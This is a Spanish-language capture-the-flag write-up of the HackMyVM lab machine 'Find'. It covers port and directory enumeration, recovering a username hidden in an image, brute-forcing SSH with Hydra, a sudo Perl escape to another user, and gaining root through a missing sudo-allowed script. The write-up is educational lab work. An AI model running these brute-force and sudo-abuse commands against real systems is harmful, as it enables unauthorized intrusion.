cd ~/blog

~/writeups/hmv/049-find.md

049 - Find

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential ExposureWeak PasswordSudo-Allowed Program AbuseWritable Privileged Executable File
hackmyvm.eu/machines/machine.php?vm=Find

~1 min de lectura


Enumeración de servicios

Comenzamos con la enumeración de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.11
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.11
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-21 23:48 -03
Nmap scan report for 192.168.1.11
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 6e:f7:90:04:84:0d:cd:1e:5d:2e:da:b1:51:d9:bf:57 (RSA)
|   256 39:5a:66:38:f7:64:9a:94:dd:bc:b6:fb:f8:e7:3f:87 (ECDSA)
|_  256 8c:26:e7:26:62:77:16:40:fb:b5:cf:a6:1c:e0:f6:9d (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds

Enumeramos con gobuster (incluyendo imágenes) y encontramos un cat.jpg:

❯ gobuster dir -u 'http://192.168.1.11' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 10701]
/manual               (Status: 200) [Size: 626]
/robots.txt           (Status: 200) [Size: 13]
...

❯ gobuster dir -u 'http://192.168.1.11' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x jpg,gif,png -r
...
/cat.jpg              (Status: 200) [Size: 35137]
...

Extracción del usuario y acceso SSH

Al aplicar strings a la imagen, encontramos un fragmento de código en Malbolge (un lenguaje esotérico):

❯ strings cat.jpg
...
>C<;_"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJ`_dcba`_^]\Uy<XW
VOsrRKPONGk.-,+*)('&%$#"!~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONML
KJIHGFEDZY^W\[ZYXWPOsSRQPON0Fj-IHAeR
...

El código incrustado constituye una Credential Exposure parcial: no entrega una contraseña, pero sí un nombre de cuenta que podemos validar:

missyred

Hacemos Password Guessing contra esa cuenta por SSH. Hydra encuentra la contraseña común iloveyou:

❯ hydra -l missyred -P ~/Documentos/wordlists/rockyou.txt 192.168.1.11 ssh -t 64
...
[22][ssh] host: 192.168.1.11   login: missyred   password: iloveyou
...

Movimiento lateral a kings

Iniciamos sesión y revisamos sudo -l:

missyred@find:~$ sudo -l
[sudo] password for missyred:
Matching Defaults entries for missyred on find:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User missyred may run the following commands on find:
    (kings) /usr/bin/perl

La regla permite Sudo-Allowed Program Abuse porque Perl es un intérprete capaz de iniciar procesos arbitrarios. Ejecutamos Bash como hijo y éste hereda la identidad kings:

missyred@find:~$ sudo -u kings perl -e 'exec "/bin/bash";'
kings@find:/home/missyred$

Escalada de privilegios

Continuamos con sudo -l como kings:

kings@find:~$ sudo -l
Matching Defaults entries for kings on find:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kings may run the following commands on find:
    (ALL) NOPASSWD: /opt/boom/boom.sh

El script referenciado no existe:

kings@find:~$ cat /opt/boom/boom.sh
cat: /opt/boom/boom.sh: No such file or directory

El riesgo no es sólo que el archivo falte. sudoers autoriza una ruta concreta ubicada en un directorio que kings puede poblar, por lo que se trata de un Writable Privileged Executable File. Creamos el archivo esperado con una orden que lance Bash. Como el directorio actual es /opt/boom, sudo ./boom.sh se resuelve a la misma ruta autorizada, /opt/boom/boom.sh:

kings@find:/opt/boom$ cat boom.sh
/bin/bash

kings@find:/opt/boom$ sudo ./boom.sh
root@find:/opt/boom#

Obtenemos nuestra shell de root y la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados